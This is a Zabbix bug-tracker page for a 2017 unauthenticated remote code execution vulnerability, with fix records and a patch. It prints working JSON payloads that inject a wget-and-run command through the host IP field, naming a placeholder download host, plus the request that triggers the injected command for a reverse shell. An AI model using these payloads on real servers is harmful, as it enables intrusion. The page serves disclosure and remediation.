Security vulnerability findings (ZBX-12074)

[ZBX-12075] Bug 1. Zabbix Server Remote Code Execution ( CVSS: 10, SIR: Critical ) Created: 2017 Mar 22  Updated: 2024 Apr 10  Resolved: 2017 Apr 20

Status: Closed
Project: ZABBIX BUGS AND ISSUES
Component/s: Server (S)
Affects Version/s: None
Fix Version/s: 2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1

Type: Sub-task Priority: Trivial
Reporter: Rostislav Palivoda Assignee: Unassigned
Resolution: Fixed Votes: 0
Labels: None
Remaining Estimate: Not Specified
Time Spent: Not Specified
Original Estimate: Not Specified

Issue Links:
Duplicate
is duplicated by ZBX-12254 Security finding TALOS-2017-0325 Closed
Sub-task
Team: Team C
Sprint: Sprint 4, Sprint 5
Story Points: 2

 Description   

The "Trapper" section of the Zabbix Code, is a network service that allows the Zabbix Proxies and the Zabbix Server to communicate over TCP Port 10050. There are a set of "API" calls that the Zabbix Server exposes to the Zabbix proxy, the two that will be discussed are the "discovery data" and "command" requests. Examples of these requests are shown below:

'{"request":"command","scriptid":1,"hostid":10001}'
'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip”:”10.0.0.1”, 
"dns":"zabbix-agent.com", 
"port":10050,"key":"test","status":0,"value":"test_value"}]}

It should be noted that the "request" command will actually invoke a script located on the server for a given host, without any authentication occurring, this might be considered a bug unto itself.

Another pivotal aspect of the exploit is that by default, Zabbix 2.4.X populates the mysql database with 3 scripts inside of the scripts table:

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

The problem lies in the fact that the {HOST.CONN} field actually gets replaced by the host’s IP address during the invocation of the script. The value that replaces {HOST.CONN} is located in the Zabbix.interface table, and is stored in the "IP" field as a VARCHAR(64). Thus, if an attacker can create an interface with a command injection as the IP address, and the script is run via the "command" request, the command injection will occur and a reverse shell can be gained.

The difficulty lies in actually getting a valid entry into the Zabbix.host table. By default, an unauthenticated attacker cannot do this, it requires a minor misconfiguration/overlook on the part of the system administrators.

One of the convenience features of Zabbix is it’s Auto-discover/Auto registration feature, allowing configuration of the Zabbix Server to occur based on the data presented by the Proxy. More specifically, if a hosts presents certain characteristics to the Zabbix proxy, it will automatically get added to certain host-groups and added to the hosts table, but more importantly, an entry in the Zabbix.interface table will be created, with the IP address presented by the host, without any validation of that field occurring.

Thus, by sending a "discovery data" request to the server with a suitable host, a command injection can be inserted into the database. The request used to exploit the server is listed below:

write_script_cmd = '{
"request":"discovery data",
"host":"zabbix-proxy.zzz.pv.yyyycloud.in",
"clock":148535399, 
"data":[{
     "clock":1485353070,
     "drule":88,
     "dcheck":174,
     "type":0,
     "ip":";wget -O /tmp/s http://www.xxx.yyy.zzz/s;#",        
     "dns":"zzz.yyyy.pv.yyyycloud.in",
     "port":10050,
     "key":"zzztest",
    "status":0,
    "value":"el7<(^_^)>mcp"
}]}' 

Due to the size limitation of the ‘ip’ field of the Zabbix.interface table, a second host was inserted into the table with the following IP:

    "ip":"/bin/bash /tmp/s;"

After these two hosts were added, there was still the issue of not knowing the hostids for the "command" requests, but this was easily solved by brute forcing backwards into the database since the command request would return a different response if the host actually existed or not, and once the hostids of the injected hosts were known, they could be invoked directly, and a reverse shell could be gained, e.g.

run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'

It should be noted that the fact that the destination Zabbix server does not have any restrictive ACLs also contributed to this exploit.

Confirmed Versions: Zabbix 2.4.7 - 2.4.8r1

Remediation Recommendations include removing all of the default scripts immediately. Even if someone can inject into the hosts table, if there is no code that can be run, it's still secure.

Patch fix recommendations for Zabbix engineers include validation for any IP address upon insertion into the "interface.ip" field.



 Comments   
Comment by Sergejs Paskevics [ 2017 Apr 03 ]

Successfully tested.

Comment by Glebs Ivanovskis (Inactive) [ 2017 Apr 05 ]

Fixed in pre-2.0.21rc1 r67080, pre-2.2.18rc1 r67081, pre-3.0.9rc1 r67082, pre-3.2.5rc1 r67084, pre-3.4.0alpha1 (trunk) r67085.

Comment by Glebs Ivanovskis (Inactive) [ 2017 Apr 12 ]

Subissue (2) fixed in pre-2.2.18.rc1 r67269, pre-3.0.9rc1 r67270, pre-3.2.5.rc1 r67271, pre-3.4.0alpha1 (trunk) r67272.

Comment by richlv [ 2017 Jun 02 ]

what is subissue (2) ?

this issue has been closed as fixed - what was the chosen fix ?

there are no changelog entries, referencing this issue. should the "DEV" references be changed to this issue ?

Comment by richlv [ 2017 Jun 02 ]

security issue reporters are not credited in the changelog. is that a change in the policy ?

Comment by Glebs Ivanovskis (Inactive) [ 2017 Jun 02 ]

Not true:

Changes for 3.2.5rc1

Bug fixes:
........S. [ZBX-12075] fixed security vulnerability with execution of the remote commands on server; thanks to Lilith Wyatt, Cisco Systems (gleb)
........S. [ZBX-12076] fixed security vulnerability with execution of the remote commands on proxy; thanks to Lilith Wyatt, Cisco Systems (gleb)

Or do you mean svn log?

Comment by richlv [ 2017 Jun 02 ]

oh, i accidentally searched for 12074 - sorry about that.
so changelog entries are there, crediting is present - great.

a few things still confusing :

  • subissue (2)
  • DEV issue referenced in the changelog
Comment by MATSUDA Daiki [ 2017 Jun 07 ]

I confirmed that you fixed on 3.0.9, 2.2.18 and etc., but it is not enough because you do not care at the situation for active check with auto registration.

I send following command to Zabbix trapper.

{ "request":"active checks", "host":"foobar", "ip":";wget -O /tmp/s http://www.xxx.yyy.zzz/s;#" }

If Zabbix server allows auto registration, a host is registred. So, with default scripts command injection is possible.

For fixing upper, I attached the patch not to accept incorrect ip at the auto regstration on active checks.

— src/zabbix_server/trapper/active.c 2017-02-27 18:22:48.000000000 +0900
+++ src/zabbix_server/trapper/active.c.new 2017-05-30 11:15:19.623254495 +0900
@@ -56,6 +56,12 @@ static int get_hostid_by_host(const char

zabbix_log(LOG_LEVEL_DEBUG, "In %s() host:'%s'", __function_name, host);

+ if (FAIL == is_ip(ip))
+

{ + zbx_snprintf(error, MAX_STRING_LEN, "invalid IP address [%s]", ip); + goto out; + }

+
if (FAIL == zbx_check_hostname(host))
{
zbx_snprintf(error, MAX_STRING_LEN, "invalid host name [%s]", host);

Comment by MATSUDA Daiki [ 2017 Jun 07 ]

I registered new issue ZBX-12263 because this is closed.

Comment by Glebs Ivanovskis (Inactive) [ 2017 Jun 07 ]

Dear [email protected], thank you for the input! That's a pity we overlooked this scenario. Will be fixed and released ASAP. For now I've hidden your comment here and ZBX-12263 from the public.

Comment by Ron Waisberg [ 2017 Jun 22 ]

Hi, I discovered a very similar vulnerability in auto-registration requests. Is this related to the new ZBX-12263 issue?

Comment by Glebs Ivanovskis (Inactive) [ 2017 Jun 22 ]

Dear [email protected], yes. I've temporarily hidden your comment too. Fix is being worked on.

Comment by Glebs Ivanovskis (Inactive) [ 2017 Jul 05 ]

Follow up in ZBX-12349.

Comment by richlv [ 2017 Sep 06 ]
  • coming back to this issue, what is subissue (2) ?
  • glebs.ivanovskis, you also said :

    For now I've hidden your comment here and ZBX-12263 from the public

    will all hidden comments and issues be opened now ?

Comment by Glebs Ivanovskis (Inactive) [ 2017 Sep 06 ]

Subissue (2) was about agent compiled without IPv6 support starting with IPv6 address in SourceIP configuration file parameter. Not a vulnerability.

ZBX-12263 resurfaced as ZBX-12349.

will all hidden comments and issues be opened now ?

This question I will leave to palivoda.

Comment by Rostislav Palivoda [ 2017 Sep 06 ]

Comments related to development and testing process are for internal use at this moment. Join Zabbix team.

Generated at Tue Apr 23 23:36:17 EEST 2024 using Jira 9.12.4#9120004-sha1:625303b708afdb767e17cb2838290c41888e9ff0.